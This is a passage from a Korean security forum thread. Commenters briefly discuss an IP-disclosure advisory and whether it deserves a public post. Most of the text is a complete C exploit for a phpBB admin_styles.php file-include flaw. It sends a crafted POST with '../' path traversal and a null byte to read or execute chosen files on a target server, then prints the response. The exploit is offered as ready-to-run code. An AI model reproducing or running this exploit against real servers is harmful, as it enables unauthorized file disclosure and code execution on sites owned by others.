http://www.xfocus.org/documents/200307/2.html
이런류의 장난의 대상이 될 수도 있겠지요.

물론, 이 경우에는 대부분의 사용자가 유동IP 이므로 별 문제는 없겠지만요. :-)
-------------------------------------------------------------------------------------

그리고 sdnrui 님, 보안권고는 이런식으로 해서는 않됩니다.
다음에는 조용히 메일로 보내시는게 좋을듯 하네요.

제 생각에 이건 보안권고 사항이라는 생각은 들지 않는군요..

ip 를 알아낼 수 있는 방법은 너무 많으니까요..

요즘은 메신저나 공유 프로그램들도 많이 쓰고 p2p 방식을 많이 쓰기 때문에 개인 컴퓨터들의 아이피를 알아내는건 넘 쉽습니다.

위에서 어떤 분이 말씀하신 윈도우 보안 버그는 윈도우 상의 문제라고 할 수 있는 것이고..

하여튼 별 중요한 권고 사항은 아닌것 같습니다.

생각난김에 좀 지난거긴 하지만.. phpbb Admin_Styles.PHP Theme_Info.CFG File Include Vulnerability

http://www.phpbb.com/phpBB/viewtopic.php?t=113826

exploit :

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main()
{
	//The socket stuff
	struct hostent *hp;
	struct sockaddr_in sa;
	int sock;

	//The input stuff
	char server[100];
	char location[100];
	char sfile[100];
	int escapes;
	char* file;

	//The request stuff
	char* request;
	char* postdata;
	char* header;

	//The buffer to store the response
	char buffer[4096];
	int tworeturns = 0;
	int showing = 0;

	//Other
	int i;

	//Ask the server
	printf("Server: ");
	scanf("%100s", server);
	printf("Forum location: ");
	scanf("%100s", location);
	printf("Directories to escape: ");
	scanf("%i", &escapes);
	printf("File to get/execute: ");
	scanf("%100s", sfile);


	//Start the exploit!
	printf("\n\nStarting the exploit...\n");

	//Connect to the server
	printf("Creating socket... ");
	if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		printf("Failed!\n");
		return 0;
	} else{
		printf("Done!\n");
	}


	printf("Looking up server IP... ");
	if((hp = gethostbyname((char*)server)) == NULL)
	{
		printf("Failed!\n");
		return 0;
	} else {
		printf("Done!\n");
	}


	printf("Connecting %s:80... ", server);
	memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
	sa.sin_family = AF_INET;
	sa.sin_port = htons(80);
	if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
	{
		printf("Failed!\n");
		return 0;
	} else {
		printf("Done!\n");
	}


	//Create the request
	printf("Building request... ");

	//Create the postdata
	file = (char*)malloc(sizeof(char) * (escapes * 3 +
strlen(sfile) + 1));

	while(escapes > 0)
	{
		if(escapes == 1)
		{
			sprintf(file, "%s%s%s", file, "..", sfile);
		} else {
			sprintf(file, "%s%s", file, "../");
		}

		escapes --;
	}

	postdata = (char*)malloc((27 + strlen(file)) *
sizeof(char));
	sprintf(postdata, "send_file= &install_to=%s%s00",
file, "%");

	header = (char*)malloc((170 + strlen(server) +
strlen(location)) * sizeof(char));
	sprintf(header, "POST
/%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r\nContent-Type:
application/x-www-form-urlencoded\r\nHost:
%s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n",
location, server, strlen(postdata));

	request = (char*)malloc((strlen(postdata) +
strlen(header) + 1) * sizeof(char));
	sprintf(request, "%s%s", header, postdata);

	printf("Done!\n");


	//Send the request
	printf("Sending request... ");
	write(sock, request, strlen(request));
	printf("Done!\n");

	printf("\nResponse:\n");
	//Get the response
	while(recv(sock, buffer, 4096, 0) != 0)
	{
		for(i = 0; i < strlen(buffer); i++)
		{
			//Only show the character when it should
			if(showing == 1)
			{
				printf("%c", buffer[ i ]);
			}


			//Stop showing from \n<br>\n
			if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
showing == 1)
			{
				showing = 0;
				tworeturns = 0;
			}
			//Or from \n<br />\n
			if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
buffer[i + 6] == '>' && buffer[i + 7] == '\n' &&
showing == 1)
			{
				showing = 0;
				tworeturns = 0;
			}

			//If there's a return and tworeturns = true, start
showing it
			if(buffer[ i ] == '\n' && tworeturns == 1)
			{
				showing = 1;
			}

			//If there are two returns, set tworeturns to true
and add 3 to i
			if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' &&
buffer[i + 2] == '\r' && buffer[i + 3] == '\n')
			{
				tworeturns = 1;
				i += 3;
			}
		}
	}
	printf("\n");

	return 0;
}